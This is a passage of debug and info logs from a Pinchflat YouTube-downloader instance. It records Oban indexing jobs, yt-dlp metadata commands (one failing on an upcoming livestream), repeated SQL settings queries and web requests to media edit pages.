(?1,?2,?3,?4) RETURNING "id" [5268528, 41, ~U[2026-10-09 22:40:13Z], ~U[2026-10-09 22:40:13Z]] 17:40:13.470 [info] {"args":{"id":41},"id":5268489,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":208124,"event":"job:stop","queue_time":411275,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:40:16.607 [info] {"source":"oban","duration":9942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":9} 17:40:18.858 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d5/e5/d5e596751f6114c1f41cce661828e18194d086bbfb0cdbff1a76d35af4a8d14c.json --sleep-requests 67 --sleep-interval 64 --sleep-subtitles 71 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 17:40:18.858 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 17:40:18.859 [debug] QUERY OK source="settings" db=0.1ms idle=1512.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:18.859 [debug] QUERY OK source="settings" db=0.1ms idle=1512.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:18.859 [debug] Running yt-dlp command for action: get_media_attributes 17:40:18.859 [debug] QUERY OK source="settings" db=0.1ms idle=1512.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:18.859 [debug] QUERY OK source="settings" db=0.0ms idle=598.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:18.860 [debug] QUERY OK source="settings" db=0.0ms idle=513.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:18.860 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d9/70/d970c83c41c0cd377375a9fd3d299018f043553569e4fd9c6341097fdb2f38c4.json --sleep-requests 87 --sleep-interval 63 --sleep-subtitles 89 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:40:29.477 [info] GET /sources/45/media/1577521/edit 17:40:29.477 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577521", "source_id" => "45"} Pipelines: [:browser] 17:40:29.478 [debug] QUERY OK source="media_items" db=0.1ms idle=1131.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577521] 17:40:29.478 [debug] QUERY OK source="settings" db=0.0ms idle=1131.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:29.478 [debug] QUERY OK source="settings" db=0.0ms idle=1131.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:29.478 [debug] QUERY OK source="settings" db=0.0ms idle=1131.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:29.479 [info] Sent 200 in 1ms 17:40:29.667 [info] GET /sources/6/media/1577544/edit 17:40:29.667 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577544", "source_id" => "6"} Pipelines: [:browser] 17:40:29.667 [debug] QUERY OK source="media_items" db=0.2ms idle=395.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577544] 17:40:29.668 [debug] QUERY OK source="settings" db=0.0ms idle=189.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:29.668 [debug] QUERY OK source="settings" db=0.0ms idle=189.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:29.668 [debug] QUERY OK source="settings" db=0.0ms idle=189.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:29.668 [info] Sent 200 in 1ms 17:40:30.166 [info] GET /sources/45/media/1577528/edit 17:40:30.166 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577528", "source_id" => "45"} Pipelines: [:browser] 17:40:30.166 [debug] QUERY OK source="media_items" db=0.2ms idle=687.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577528] 17:40:30.167 [debug] QUERY OK source="settings" db=0.0ms idle=499.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:30.167 [debug] QUERY OK source="settings" db=0.0ms idle=499.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:30.167 [debug] QUERY OK source="settings" db=0.0ms idle=499.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:30.167 [info] Sent 200 in 1ms 17:40:30.665 [info] GET /sources/1/media/1577541/edit 17:40:30.665 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577541", "source_id" => "1"} Pipelines: [:browser] 17:40:30.666 [debug] QUERY OK source="media_items" db=0.1ms idle=499.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577541] 17:40:30.666 [debug] QUERY OK source="settings" db=0.0ms idle=499.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:30.666 [debug] QUERY OK source="settings" db=0.0ms idle=499.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:30.666 [debug] QUERY OK source="settings" db=0.0ms idle=499.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:30.667 [info] Sent 200 in 1ms 17:40:31.167 [info] GET /sources/6/media/1577500/edit 17:40:31.167 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577500", "source_id" => "6"} Pipelines: [:browser] 17:40:31.167 [debug] QUERY OK source="media_items" db=0.1ms idle=894.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577500] 17:40:31.168 [debug] QUERY OK source="settings" db=0.0ms idle=501.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:31.168 [debug] QUERY OK source="settings" db=0.0ms idle=501.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:31.168 [debug] QUERY OK source="settings" db=0.1ms idle=501.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:31.169 [info] Sent 200 in 1ms 17:40:31.668 [info] GET /sources/6/media/1577523/edit 17:40:31.668 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577523", "source_id" => "6"} Pipelines: [:browser] 17:40:31.668 [debug] QUERY OK source="media_items" db=0.1ms idle=500.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577523] 17:40:31.668 [debug] QUERY OK source="settings" db=0.0ms idle=500.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:31.668 [debug] QUERY OK source="settings" db=0.0ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:31.669 [debug] QUERY OK source="settings" db=0.0ms idle=500.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:31.669 [info] Sent 200 in 1ms 17:40:32.168 [info] GET /sources/6/media/1577543/edit 17:40:32.168 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577543", "source_id" => "6"} Pipelines: [:browser] 17:40:32.169 [debug] QUERY OK source="media_items" db=0.1ms idle=894.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577543] 17:40:32.169 [debug] QUERY OK source="settings" db=0.0ms idle=500.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:32.169 [debug] QUERY OK source="settings" db=0.1ms idle=500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:32.169 [debug] QUERY OK source="settings" db=0.0ms idle=500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:32.170 [info] Sent 200 in 1ms 17:40:32.669 [info] GET /sources/6/media/1577525/edit 17:40:32.669 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577525", "source_id" => "6"} Pipelines: [:browser] 17:40:32.670 [debug] QUERY OK source="media_items" db=0.3ms idle=500.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577525] 17:40:32.670 [debug] QUERY OK source="settings" db=0.1ms idle=501.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:32.670 [debug] QUERY OK source="settings" db=0.0ms idle=501.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:32.671 [debug] QUERY OK source="settings" db=0.0ms idle=501.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:32.671 [info] Sent 200 in 1ms 17:40:33.171 [info] GET /sources/28/media/1573371/edit 17:40:33.171 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1573371", "source_id" => "28"} Pipelines: [:browser] 17:40:33.172 [debug] QUERY OK source="media_items" db=0.1ms idle=896.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1573371] 17:40:33.172 [debug] QUERY OK source="settings" db=0.0ms idle=502.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:33.172 [debug] QUERY OK source="settings" db=0.0ms idle=501.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:33.172 [debug] QUERY OK source="settings" db=0.0ms idle=501.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:33.173 [info] Sent 200 in 1ms 17:40:33.671 [info] GET /sources/1/media/1577510/edit 17:40:33.671 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577510", "source_id" => "1"} Pipelines: [:browser] 17:40:33.672 [debug] QUERY OK source="media_items" db=0.1ms idle=499.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577510] 17:40:33.672 [debug] QUERY OK source="settings" db=0.0ms idle=500.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:33.672 [debug] QUERY OK source="settings" db=0.0ms idle=500.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:33.672 [debug] QUERY OK source="settings" db=0.0ms idle=500.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:33.673 [info] Sent 200 in 1ms 17:40:46.619 [info] {"source":"oban","duration":10178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:53.521 [info] GET /sources/6/media/1577544 17:40:53.521 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577544", "source_id" => "6"} Pipelines: [:browser] 17:40:53.521 [debug] QUERY OK source="media_items" db=0.1ms idle=1174.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577544] 17:40:53.522 [debug] QUERY OK source="tasks" db=0.0ms idle=225.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577544] 17:40:53.522 [debug] QUERY OK source="sources" db=0.1ms idle=175.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:40:53.522 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=175.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5251665] 17:40:53.522 [debug] QUERY OK source="settings" db=0.0ms idle=175.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:53.522 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:53.522 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:53.523 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:53.523 [info] Sent 200 in 2ms 17:40:53.664 [info] GET /sources/45/media/1577528 17:40:53.664 